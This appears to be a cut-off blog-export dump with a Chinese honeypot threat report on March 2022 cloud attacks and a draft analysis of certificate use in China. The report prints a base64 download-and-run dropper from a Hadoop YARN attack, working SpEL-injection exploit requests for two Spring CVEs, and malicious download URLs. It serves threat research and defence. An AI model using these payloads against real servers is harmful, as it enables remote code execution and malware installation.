Q0xuVkQvLy85UWc4TVhVMmlNZ3dRSVZ1akcvdi8vZzhRUU9kaDBEWVBzREdvRDZFLysvLytEeEJBeDIxQnFBWTFGODFCVzZMdisvLytEeEJCSWRBMkQ3QXhxQk9ndC92Ly9nOFFRRDc1Rjg4SGpDQW5EZ2ZzS0RRb05kYzlSYUlBQUFBQ05uV0QvLy85VFZ1aUUvdi8vZzhRUWhjQitEbEpRVTFmb1hQNy8vNFBFRU92WWcrd01WdWo5L2YvL2lUd2s2UFg5Ly8rRHhBeHFBV2lwZ3dRSWFnSG9OZjcvLzhjRUpBVUFBQURvdy8zLy80UEVFSTFsOUZ0ZVgxM0RWWW5sWGVscy92Ly9rSkNRVlZkV1U0dHNKQ3lMZkNRb2kzUWtKSXRVSkNDTFRDUWNpMXdrR0l0RUpCVE5nRnRlWDEwOUFmRC8vdytEQVFBQUFNT0Q3QXlKd3ZmYTZBa0FBQUNKRUlQSS80UEVETU80ckpNRUNNTmhiV1EyTkFBakNnQmtiSElBUHdCSFJWUWdMMk4xY213dFlXMWtOalFnU0ZSVVVDOHhMakFOQ2cwS0FDTUFBQUF1YzJoemRISjBZV0lBTG5SbGVIUUFMbkp2WkdGMFlRQXVZbk56QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXNBQUFBQkFBQUFCZ0FBQUpTQUJBaVVBQUFBNlFJQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBUkFBQUFBUUFBQURJQUFBQjlnd1FJZlFNQUFDNEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFHUUFBQUFnQUFBQURBQUFBckpNRUNLd0RBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFFQUFBQURBQUFBQUFBQUFBQUFBQUNzQXdBQUhnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQT18YmFzZTY0IC1kID4gZAogIGNobW9kICt4IGQ7IC4vZHx8Li9kOyBybSAtZiBkOyBjaG1vZCAreCBkbHIKZmkKCihjdXJsICRjfHxjdXJsICRjfHx3Z2V0IC1xIC1PLSAkY3x8Y3VybCAtayAkY3x8Y3VybCAtayAkY3x8d2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xIC1PLSAkY3x8Li9kbHIgJGN8fC4vZGxyICRjKXxzaAo=|base64 -d|sh\" } },\n \"application-type\": \"YARN\"\n}"}],["markdown",{"markdown":"**漏洞信息**\n* 影响范围:Spring Cloud Gateway 3.1.0、3.0.0-3.0.6及不受支持的旧版本\n* CVE编号:CVE-2022-22947\n* 披露日期:2022.03.01\n* CVSS 3.0评分:10.0\n* 影响设备量级:千万级"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-37.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112458040.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112517737.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112829328.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112614972.png","alt":"","title":""}],["code",{"code":"POST /actuator/gateway/routes/hacktest HTTP/1.1\nHost: 127.0.0.1:8080\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\nConnection: close\nContent-Type: application/json\nContent-Length: 329\n\n{\n \"id\": \"hacktest\",\n \"filters\": [{\n \"name\": \"AddResponseHeader\",\n \"args\": {\n \"name\": \"Result\",\n \"value\": \"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"id\\\"}).getInputStream()))}\"\n }\n }],\n \"uri\": \"http://example.com\"\n}\n"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112631826.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112701296.png","alt":"","title":""}],["code",{"code":"POST /actuator/gateway/refresh HTTP/1.1\nHost: 127.0.0.1:8080\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 0\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220408112711977.png","alt":"","title":""}],["markdown",{"markdown":"**漏洞信息**\n* 影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2\n* CVE编号:CVE-2022-22963\n* 披露日期:2022.03.24\n* CVSS3.0评分:9.8\n* 影响设备量级:万级"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-55.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407110944549.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407110934910.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407111013999.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407111032526.png","alt":"","title":""}],["code",{"code":"POST /functionRouter HTTP/1.1\nHost: 127.0.0.1:8080\nspring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"calc\")\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 4\n\ntest\n"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407111046682.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407111057525.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-20220407111110825.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-42.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-50.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-53.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-33.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-12.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-14.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-38.png","cardWidth":""}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-34.png"}],["hr",{}],["markdown",{"markdown":"### 联系我们\n感兴趣的读者,可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。"}],["markdown",{"markdown":"### IoC List\n\nURL:\n```\nhttp://14.1.98.226:8880/7z\nhttp://51.81.133.90/NWWW.6\nhttp://51.81.133.90/qweasd\nhttp://14.1.98.226:8880/ff.elf\n```\n\n\nmd5:\n```\nb9bcb150c1449dcc6a69ff1916a115ce\n8c47779d3ad0e925461b4fbf7d3a139d\n392f13b090f54438b3212005226e5d52\n24afae2eee766cbabf8142ef076ce1\n```"}]],"markups":[["a",["href","https://netlab.360.com/zh/honeypot"]],["a",["href","__GHOST_URL__/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory/"]],["strong"],["a",["href","https://tanzu.vmware.com/security/cve-2022-22947"]]],"sections":[[1,"h3",[[0,[],0,"概述"]]],[1,"blockquote",[[0,[],0,"本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。"]]],[3,"ul",[[[0,[0],1,"360高级威胁狩猎蜜罐系统"],[0,[],0,"发现全球12万个云服务器IP,进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内156家单位的服务器IP,涉及大型央企、政府机关等行业。"]],[[0,[],0,"Spring厂商连续公开3个关键漏洞,CVE-2022-22947、CVE-2022-22963、CVE-2022-22965,本文将对前两个漏洞进行细节分析,第三个漏洞细节"],[0,[1],1,"点此查看"],[0,[],0,"。"]],[[0,[],0,"本月共记录威胁攻击8亿次有余(其中包括漏洞攻击7.4亿余次、传播恶意软件超5500万次),新增IoC累计68万余个,其中针对IoT设备的漏洞攻击呈上升趋势。"]]]],[1,"h3",[[0,[],0,"云上重点资产扫描攻击"]]],[1,"blockquote",[[0,[],0,"三月份,我们共监测到全国156个公有云重点资产存在异常扫描及攻击行为。"]]],[1,"p",[[0,[],0,"随着业务不断上云,发生在公有云平台上的网络安全事件和威胁数量居高不下,国内重点行业包括但不限于我国的科研机构、大型企业、政府及事业单位成为攻击者的重点攻击对象,合计攻击源156个。"]]],[10,0],[1,"p",[[0,[],0,"根据所属云服务商来源,我们发现我国重点IP的云服务商以阿里云使用为主,其次为腾讯云。"]]],[10,1],[1,"p",[[0,[],0,"从漏洞利用的角度来看,攻击者主要通过SSH暴力破解、Gitlab远程命令执行漏洞、Redis远程命令执行的漏洞攻击方式对我国公有云重点IP进行攻击。"]]],[10,2],[1,"p",[[0,[],0,"下表为其中部分案例:"]]],[10,3],[1,"p",[[0,[],0,"案例1:位于北京的IP地址为39.101.*.* 的阿里云服务器,属于***联络处,访问对应域名可进入该单位**平台,其IP在3月上旬对蜜罐节点存在Telnet暴力破解行为:"]]],[10,4],[1,"p",[[0,[],0,"案例2:位于上海的IP地址为118.89.*.*的腾讯云IP属于***办公室,该IP有Apache Tomcat暴力破解,ThinkPHP漏洞, Hadoop YARN ResourceManager未授权访问漏洞等5个漏洞利用或暴力破解的恶意行为,并传播了TrojanDownloader类的恶意软件,以Hadoop YARN ResourceManager未授权访问漏洞为例,攻击Payload如下所示:"]]],[10,5],[1,"h3",[[0,[],0,"热门漏洞攻击"]]],[1,"blockquote",[[0,[],0,"2022年3月1日,Spring厂商发布高危漏洞CVE-2022-22947,可能使其应用程序受到代码注入攻击。同月24日再次公开漏洞CVE-2022-22963,该漏洞影响JDK 9+上的SpringMV及WebFlux应用程序,我们发现攻击者正在利用该漏洞传播恶意软件。"]]],[1,"p",[[0,[2],1,"(1)Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)"]]],[10,6],[1,"p",[[0,[],0,"下图为该漏洞的攻击源IP与会话数量趋势,我们发现攻击者IP的数量和攻击者尝试利用该漏洞的次数呈现上升趋势。"]]],[10,7],[1,"p",[[0,[],0,"漏洞详情及补救措施"],[0,[3],1,"点此查看"],[0,[],0,",以下是该漏洞的技术细节分析。"]]],[1,"h4",[[0,[],0,"[漏洞补丁]"]]],[1,"p",[[0,[],0,"在spring-cloud-gateway-server/src/main/java/org/springframework/ cloud/gateway/support/ShortcutConfigurable.java中,将getValue函数中的StandardEvaluationContext替换为GatewayEvaluationContext修复SpEL表达式注入:"]]],[10,8],[1,"h4",[[0,[],0,"[漏洞分析]"]]],[1,"p",[[0,[],0,"查看函数getValue的调用,在RouteDefinitionLocator函数中,根据RouteDefinition提取GatewayFilter:"]]],[10,9],[1,"p",[[0,[],0,"根据官方文档,通过Actuator API可创建路由:"]]],[10,10],[1,"p",[[0,[],0,"\t定位Actuator的控制器AbstractGatewayControllerEndpoint,根据RouteDefinition解析数据:"]]],[10,11],[1,"p",[[0,[],0,"\t设置断点,发送蜜罐系统捕获的payload数据:"]]],[10,12],[1,"p",[[0,[],0,"\tvalidateRouteDefinition函数调用isAvailable函数对name进行校验:"]]],[10,13],[1,"p",[[0,[],0,"\t动态调试有以下name符合条件:"]]],[10,14],[1,"p",[[0,[],0,"\t路由创建成功后,发送蜜罐系统捕获的refresh:"]]],[10,15],[1,"p",[[0,[],0,"\t成功触发表达式解析:"]]],[10,16],[1,"p",[[0,[2],1,"(2)Spring Cloud Function SpEL表达式远程代码执行漏洞(CVE-2022-22963)"]]],[10,17],[1,"p",[[0,[],0,"自24日漏洞公布后,已有攻击者尝试利用此漏洞进行恶意软件传播,如下图所示。"]]],[10,18],[1,"p",[[0,[],0,"漏洞详情及补救措施"],[0,[3],1,"点此查看"],[0,[],0,",以下是该漏洞的技术细节分析。"]]],[1,"h4",[[0,[],0,"[漏洞补丁]"]]],[1,"p",[[0,[],0,"\t在functionFromExpression新增bool类型参数isViaHeader :"]]],[10,19],[1,"p",[[0,[],0,"\t通过isViaHeader 判断,当请求数据的header头存在spring.cloud.function.routing-expression头时,调用SimpleEvaluationContext函数处理,SimpleEvaluationContext 针对不需要SpEL语言语法的全部范围且受到有意限制的表达式类别, SpEL无法调用Java类对象、引用bean, 从而修复SPEL表达式注入漏洞。"]]],[10,20],[1,"h4",[[0,[],0,"[漏洞分析]"]]],[1,"p",[[0,[],0,"\t通过RoutingFunction发现位于FunctionWebRequestProcessingHelper的可疑调用:"]]],[10,21],[1,"p",[[0,[],0,"根据FunctionWebRequestProcessingHelper.processRequest调用情况发现,FunctionController接口的post请求存在调用:"]]],[10,22],[1,"p",[[0,[],0,"\t设置断点,发送蜜罐系统捕获的payload数据:"]]],[10,23],[1,"p",[[0,[],0,"\t在FunctionWebRequestProcessingHelper.processRequest()函数处理中,判断request对应的function为RoutingFunction类型时,将进入RoutingFunction.apply()处理:"]]],[10,24],[1,"p",[[0,[],0,"\tRoutingFunction.apply调用route函数,route函数从Header提取spring.cloud.function.routing-expression,然后调用functionFromExpression函数处理:"]]],[10,25],[1,"p",[[0,[],0,"\tfunctionFromExpression函数未对request做任何过滤,调用expression.getvalue()函数,存在SpEL表达式解析漏洞:"]]],[10,26],[1,"h3",[[0,[],0,"云服务器攻击总体情况"]]],[1,"blockquote",[[0,[],0,"三月份共监测到全球超12余万个云服务器(源IP)异常访问蜜罐节点并与之交互,其中3万多个IP发生漏洞扫描和攻击行为,超7000个IP发生恶意软件传播行为,近2万个IP发生密码爆破攻击行为。"]]],[1,"p",[[0,[],0,"三月份我们通过对全球公有云服务器的监测,共捕获云服务器威胁攻击事件近6200万次,其中包括漏洞攻击4700余万次(涉及3万多个云服务器),漏洞攻击事件共涉及1118个漏洞、传播恶意软件近1400万次(涉及7000多个云服务器)。"]]],[1,"p",[[0,[],0,"攻击态势主要聚焦在针对Web应用和数据库的攻击、僵尸网络攻击等,攻击方式主要为暴力破解、远程命令/代码执行等,其中需要关注的是针对IoT设备的漏洞攻击逐步呈上升趋势,我们捕获到针对IoT攻击的攻击源数量超3000个,尝试攻击的会话数超200余万次。"]]],[10,27],[1,"p",[[0,[],0,"全球云服务器的三月数据中,捕获超2000个,日均传播次数超16万余次,涉及恶意程序家族38个,其中按样本捕获量以Mirai家族及其变种为首,按传播次数排名前三位的为CoinMiner、Mirai、Rootkit家族。"]]],[10,28],[1,"p",[[0,[],0,"其中国内云服务器,捕获恶意程序样本数量超400余个,日均传播次数10万余次,涉及恶意程序家族近30个,其中按样本捕获量以CoinMiner家族及其变种为首,按传播次数排名前三位的为CoinMiner、Rootkit、TrojanDownloader家族。"]]],[10,29],[1,"p",[[0,[],0,"从云服务商的情况来看,本月数量前5的云服务商是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。"]]],[10,30],[1,"p",[[0,[2],1,"从漏洞攻击针对的厂商、产品分析"],[0,[],0,",各类漏洞攻击的IP数量较二月有大幅度提升,尤其专注于对Redis、Docker等设备的重点攻击。"]]],[10,31],[1,"p",[[0,[2],1,"从恶意软件传播情况分析"],[0,[],0,",恶意挖矿类(CoinMiner)传播次数最多,木马下载器(TrojanDownloader)的传播源IP数量最多,超过5500个。"]]],[10,32],[1,"p",[[0,[],0,"oracle.zzhreceive.top和bbq.zzhreceive.top是被最多IP使用的下载服务器。"]]],[10,33],[1,"p",[[0,[],0,"在密码爆破攻击方面,81.3%的云服务器IP集中在SSH协议的暴力破解上,其次是Telnet协议,占比8.8%。腾讯云和DigitalCloud是暴力破解攻击源IP最多的云服务商,3月份分别有4700+和4300+个攻击源IP。在暴力破解会话数方面,DigitalCloud遥遥领先,有多达3052万次暴力破解会话。"]]],[10,34],[10,35],[10,36],[10,37],[1,"p",[]]],"ghostVersion":"3.0"} | 62480dbd2c81b900076f935b |
post | null | 2022-04-02T11:52:47.000Z | 63873b9a8b1c1e0007f53015 | guo-nei-shu-zi-wang-luo-zheng-shu-qing-kuang-fen-xi | 0 | 2022-04-15T07:06:03.000Z | public | draft | null | null | 国内数字网络证书情况分析 | <!--kg-card-begin: markdown--><h2 id="">背景</h2>
<p>在<a href="__GHOST_URL__/review-revoke-russia-ssl-certificates/">上一篇文章</a>中,我们介绍了因俄乌冲突所引起的证书吊销情况的分析。在这篇文章中,我们继续利用360netlab的Certdb数字证书库,分析国内证书的签发,使用和覆盖情况,评估目前数字证书的实际使用情况。并结合使用证书的典型行业,对国内的若干重要行业的证书使用情况进行细化分析。</p>
<h2 id="">数据筛选</h2>
<p>同上一次一样,证书库是一个巨大的数据库。我们从中选出我们关心的子集进行定量的分析,需要明确目标数据,制定好过滤条件。<br>
这次我们分析国内的相关数据,主要聚焦在:</p>
<pre><code>1. 中国大陆使用的证书;
2. 非自签名,非过期以及其他类型的非安全证书;
3. 近三个月活跃的证书;
4. 在大网上可以公开获取的证书(这一条在对外发布的时候,需要删除,下面涉及的相关内容也要删除)。
</code></pre>
<p>由此,获取了近260万条证书(2,594,635)。</p>
<p>下面说一下这些证书筛选条件的原因:</p>
<ol>
<li>中国大陆使用的证书具体来说主要包括(满足任意一条即可):
<ul>
<li>证书部署的IP在境内</li>
<li>证书主体的国家代码为CN</li>
<li>证书通用名中的域名或者SAN中包含的域名的的顶级域为CN<br>
通过这三个条件,可以较为全面的得到中国的证书库。</li>
</ul>
</li>
<li>有效的和活跃的证书主要是保证证书的有效性。对于自签名,已经过期或者其他的原因判定为不安全的证书,和我们的分析主题相差较远,没有必要选取这些数据。</li>
<li>大网上可以公开获取的证书用于将用户电脑上生成的证书去掉。现在个人电脑上安装的一些软件(比如一些杀毒软件,广告拦截软件或者一些恶意程序等)会将自己的证书写入到操作系统的根证书目录。</li>
</ol>
<blockquote>
<p>关于数据筛选的遗漏问题<br>
按照条件一进行的筛选可能还存在一定的数据遗漏,比如满足下面的条件就会造成遗漏:<br>
证书数据中没有包含证书主体的国家代码<br>
证书签发使用的域名的顶级域不是CN<br>
同时其业务也没有部署在国内的IP地址上<br>
整体来说这部分比较少,并且这么部署的业务并非我们关注的关键行业。因此不会影响到整体的分析结论。</p>
</blockquote>
<h2 id="">数据分析</h2>
<h3 id="">基本情况</h3>
<h4 id="">安全等级情况说明(对外发布需删除)</h4>
<p>在排除掉常见的签发非webPKI体系证书的软件(比如安全软件,广告拦截软件以及一些的恶意软件)之后,近260万证书中,大概还有40%的证书(近104万)是非webPKI体系里面的。<br>
这部分数据分为两大类:</p>
<ol>
<li>外面可以通过扫描或者其他的探测方法探测到的,总数在44万左右</li>
<li>外网通过扫描无法探测到的,总数在60万左右</li>
</ol>
<p>这两类数据我们通过分析其证书签发者组织(issuer O字段),对其进行了统计,如下图:<br>
<img src = "/content/images/2022/04/insecure_issuer_cn_distr.png" width=860px /></p>
<p>在外网无法探测到的数据中,具体来说:</p>
<ol>
<li>主要来源是来自于360se。这类证书大概率是在用户的电脑中,已经安装了相应软件的根证书,并且这类软件没有出现在我们在筛选说明4中列出的软件范围之内。</li>
<li>值得一提的是在,在60万的无法探测到的证书中,有88%来自于国家统计局(所谓NBS,National Bureau of Statistics),还有是5%左右的用于国家税务局系统的PorxyeeRoot。</li>
<li>对统计局的证书分析之后发现,这些证书都属于统计局联网直报平台。覆盖的IP大概有30多个,国内有接近20个省。其根证书为自签名的根证书:4118cfffe1d9d9f528de0547efc2e926cfd983d0。</li>
<li>国家税务总局的数据同样来自于一个签发的根证书:6c6aff443835988bbdc6b3dc21480246c30db00e。电子税务业务需求。</li>
</ol>
<p>剩余的是其他的一些的外网扫描不到的证书,占比7%左右,大概总数在4万+。这部分数据太过长尾,并且与我们此次分析目标没有关系,本文直接跳过。</p>
<h4 id="">证书分类情况</h4>
<p>以下的所有分析都是基于在260万证书去除掉外网扫描不到的近60万(592,978)条不安全的证书基础上,即剩余200万证书的基础上的分析。<br>
这200万证书中,可以分为两大类:</p>
<ul>
<li>一类是在PKI体系中可以校验的,即可以通过证书链完成安全性检查</li>
<li>一类是设备厂商自签名的
<ul>
<li>设备厂商包括通信设备,比如路由器,交换机等</li>
<li>也包括一些安全设备,比如防火墙,IPS/WAF等</li>
</ul>
</li>
</ul>
<p>比如TOP20的签发者信息如下:</p>
<table>
<thead>
<tr>
<th>issuer_O</th>
<th>count</th>
<th>in PKI</th>
<th>所属厂商</th>
</tr>
</thead>
<tbody>
<tr>
<td>DigiCert_Inc</td>
<td>626,746</td>
<td>yes</td>
<td>DigiCert</td>
</tr>
<tr>
<td>TrustAsia_Technologies_Inc.</td>
<td>384,109</td>
<td>yes</td>
<td>亚洲诚信</td>
</tr>
<tr>
<td>Let's_Encrypt</td>
<td>373,862</td>
<td>yes</td>
<td>Let's Encrypt</td>
</tr>
<tr>
<td>Sectigo_Limited</td>
<td>34,192</td>
<td>yes</td>
<td>Sectigo</td>
</tr>
<tr>
<td>HW</td>
<td>29,207</td>
<td>no</td>
<td>华为</td>
</tr>
<tr>
<td>sangfor</td>
<td>28,819</td>
<td>no</td>
<td>深信服</td>
</tr>
<tr>
<td>BIC</td>
<td>24,367</td>
<td>no</td>
<td>未知</td>
</tr>
<tr>
<td>Synology_Inc.</td>
<td>22,334</td>
<td>no</td>
<td>群辉科技</td>
</tr>
<tr>
<td>ZeroSSL</td>
<td>15,955</td>
<td>yes</td>
<td>ZeroSSL</td>
</tr>
<tr>
<td>GlobalSign_nv-sa</td>
<td>14,428</td>
<td>yes</td>
<td>GlobalSign</td>
</tr>
<tr>
<td>Fortinet</td>
<td>14,350</td>
<td>no</td>
<td>飞塔</td>
</tr>
<tr>
<td>INFOSEC</td>
<td>8,871</td>
<td>no</td>
<td>深信服</td>
</tr>
<tr>
<td>Hillstone_Networks</td>
<td>6,467</td>
<td>no</td>
<td>山石网科</td>
</tr>
<tr>
<td>WoTrus_CA_Limited</td>
<td>6,122</td>
<td>yes</td>
<td>沃通</td>
</tr>
<tr>
<td>VMware_Installer</td>
<td>6,022</td>
<td>no</td>
<td>VMware</td>
</tr>
<tr>
<td>QNAP_Systems_Inc.</td>
<td>5,731</td>
<td>no</td>
<td>QNAP</td>
</tr>
<tr>
<td>Acme_Co</td>
<td>5,416</td>
<td>no</td>
<td>k8s</td>
</tr>
<tr>
<td>Huawei</td>
<td>5,336</td>
<td>no</td>
<td>华为</td>
</tr>
<tr>
<td>Cloudflare_Inc.</td>
<td>4,638</td>
<td>yes</td>
<td>Cloudflare</td>
</tr>
<tr>
<td>hangzhou</td>
<td>4253</td>
<td>no</td>
<td>k8s</td>
</tr>
<tr>
<td>Other</td>
<td>363,830</td>
<td>mix</td>
<td></td>
</tr>
</tbody>
</table>
<p>其占比如下图所示:<br>
<img src = "/content/images/2022/04/issuer_O_distrbution.png" width = 860px /></p>
<h4 id="pki">在PKI体系中的证书的情况</h4>
<p>如果只考察在PKI系统中的证书的话,有效证书数量会下降到156万(156,6630)左右。</p>
<p>从签发机构来看,看国内的证书集中在DigiCert,亚洲诚信和Let's Encrypted这三家,合并市场份额超过90%。<br>
<img src = "/content/images/2022/04/gen_certs_issuer_O.png" width=860px /></p>
<p>这156万证书覆盖了:</p>
<ul>
<li>224万条域名,包含16.8万条带有 * 扩展的泛域名</li>
<li>二级域名接近94万个</li>
<li>IP大概有102万左右</li>
</ul>
<p>评估国内证书覆盖度的话,我们看到大概224万域名有证书信息,覆盖的二级域名大概近100万。按照CNNIC刚刚发出的第49次《中国互联网络发展状况统计报告》[1],国内域名总数在3600万左右,这样算下来2.7%。不过按照我们以往的经验,大约80%的域名可能都是死域名,不活跃域名或者部署在境外的域名。如果按照80%的死/极度不活跃/部署在境外的域名计算,国内网站使用网络数字证书的比例应该不超过15%。</p>
<p>关联到35,698家我们识别的重要单位,132,695个证书。按照我们对单位级别的划分,高中低级的占比分别为(重要程度A >B > C):<br>
<img src = "/content/images/2022/04/organization_level_distt.png" width = 860px /></p>
<blockquote>
<p>在实际情况中,同一个证书可能会用于不同的单位。<br>
这种情况比较常见于两个公司有极强的相关性的情况。比如父子公司或者一个公司实体多个公司名称的情况。<br>
所以如果完全根据所对应的域名区分不同单位的话,单位数量可以达到38,515。<br>
为了避免歧义和统计方便,本文后续以一个证书识别到的第一个单位为准,即按照上文所说35,698条来计算。</p>
<p>单位高中低级别划分的说明:<br>
为了更好的对单位的情况进行分析,我们对识别的单位进行了级别划分,分为A,B,C三级。其中<br>
A级:为政府机关,央企(含金融类央企),国防机构,重点医院,部属院校以及其他需要重点关注的行业和单位<br>
B级:央企成员单位;其他金融;医疗;其他本科高校以及注册资产超十亿人民币的企业<br>
C级:其他的事业单位</p>
</blockquote>
<p>证书级别来看,国内网站使用的数字证书绝大多数都还是使用DV类型的证书,OV/EV以上的加起来份额大概在4%左右。这个比例分布和我们实际使用证书的场景是吻合的,大多数业务都不要高等级的数字证书。<br>
<img src = "/content/images/2022/04/gen_cert_level.png" width = 860px /></p>
<blockquote>
<p>目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):</p>
<ul>
<li>DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。</li>
<li>OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。</li>
<li>EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。</li>
</ul>
</blockquote>
<p>证书签发机构所属国家来看,美国占比接近70%。很大程度是因为Let's Encrypt的免费证书以及DigiCert的Encyption Everywhere占据(事实上这俩签发证书占总证书的55%,占美国签发证书的85%)。国内CA签发的证书占比接近27%,大多数是亚洲诚信贡献的。<br>
<img src = "/content/images/2022/04/gen_cert_issuer_C.png" width = 860px /></p>
<p>下面对一些重点行业的数据进行分析。</p>
<h3 id="">重点单位的情况</h3>
<p>前面提到,我们利用证书数据,共标记了13万+的数字证书可以对应到我们识别出来的重点单位上。这些单位按照国内省份的分布可以看到,北京,上海和广东省的数量遥遥领先国内其他的省份,这既反映了国内重点单位的分布,也反映了单位对数字证书的重视程度。<br>
<img src = "/content/images/2022/04/province_stats_org_certs.png" width=860px /></p>
<p>同时我们按照我们自己对识别单位的行业标签,对证书数据做了分析和统计。整体来看,企业尤其是和信息技术和科学研究相关的行业采用数字证书的比例较高。<br>
<img src = "/content/images/2022/04/industry_certs_distr.png" width=860px /></p>
<blockquote>
<p>由于一个证书所对应的单位可能存在多个标签,并且行业划分的不一致性等因素,行业数据并非此次分析数据的完整呈现,仅供参考。</p>
</blockquote>
<h4 id="">政府网站的情况</h4>
<p>抽取以<code>gov.cn</code>为顶级域的情况进行分析<br>
FQDN:11,078,其中存在泛匹配的有1,106条。二级域名2,993个。<br>
360Netlab 能够看到的顶级域为 <code>gov.cn</code> 的域名数量为 1,118,190 个,考虑到证书信息中有泛匹配的情况,所以对这些域名抽取二级域名得到的数量为13,047。按照最乐观的估计,即使用证书的政府网站均使用了泛匹配的证书(实际大概在1/3左右),<strong>在我国政府类网站中,采用了SSL证书的比例只有23%左右。</strong><br>
具体来看,浙江省政府以及浙江下面的市使用证书的情况会更普遍一些,另外经济发达的省份相比较而言也更普遍。还有就是特定业务,比如税务行业使用较为普遍。<br>
<img src = "/content/images/2022/04/gov_sites_subdomain_certs.png" width = 860px /></p>
<p>从证书颁发机构来看,主要是DigiCert,占比达到了54.8%,接下来是国内的亚洲诚信,占比达到了19.1%,排名第三的是Let's Encypt。<br>
<img src = "/content/images/2022/04/gov_cert_issuer_O.png" width=860px /></p>
<p>从DigiCert的数据来看,有接近70%的数据是使用其<code>Encryption Everywhere </code>的DV类型证书,再加上Let's Encrypt的免费证书,以及其他的签发机构提供的DV<br>
类型的证书,国内政府机构使用DV类型的证书占比为77.9%左右。<br>
<img src = "/content/images/2022/04/gov_cert_level.png" width = 860px /><br>
比如下面的例子中看到贵阳市人民政府的证书使用的就是DigiCert签发的<br>
<img src = "/content/images/2022/04/guiyang_digicert.png" width = 860px /></p>
<p>如果从签发证书所属国别来看,国内政府网站使用的证书的签发国家主要是美国占57.5%,中国占36.6%。余下的由比利时和英国占据。<br>
<img src = "/content/images/2022/04/gov_cert_issuer_C.png" width = 860px /></p>
<h4 id="">金融行业的情况</h4>
<p>根据我们抽取的重点单位包含金融类标签的数据,共得到11471条证书。覆盖了全国3000余家金融机构,包括银行,证券,保险等金融机构。既有地方性的金融单位(比如各地的村镇银行)也有全国性的大型金融机构(比如五大行等),还有外资在国内设立的独资或者盒子的金融机构,覆盖面还是较为广泛的。</p>
<p>从签发机构上来看,DigiCert仍然是毫无争议的第一,不过GlobalSign上升到第二位,国内专门做金融机构的中国金融认证中心(同时也是根证书签发机构)排在亚洲诚信之后位居第四,沃通排在第五,<strong>Let's Encrypt以1.8%的份额排在第六</strong>。<br>
<img src = "/content/images/2022/04/bank_cert_issuer_O.png" width = 860px /></p>
<p>从我们的数据中发现,如果从证书级别来看,显然金融机构类的证书级别要比政府类的高不少。OV和EV以上级别的证书占比超过了66%,这个占比是政府类证书的3倍。<br>
<img src = "/content/images/2022/04/bank_cert_level.png" width = 860px /></p>
<p>同样,从签发机构所在国家来看,金融机构使用国外证书的情况比政府更普遍一些,国内证书的占比只有20%。<br>
<img src = "/content/images/2022/04/bank_cert_issuer_C.png" width = 860px /><br>
比如金融类的监管机构中国证监会在3月份就新申请了Let's Encrypt签发的证书,不过可能是测试目的。目前官方网站使用的是阿里云签发的证书,不过由于配置错误,目前chrome浏览器无法完成TLS握手。<br>
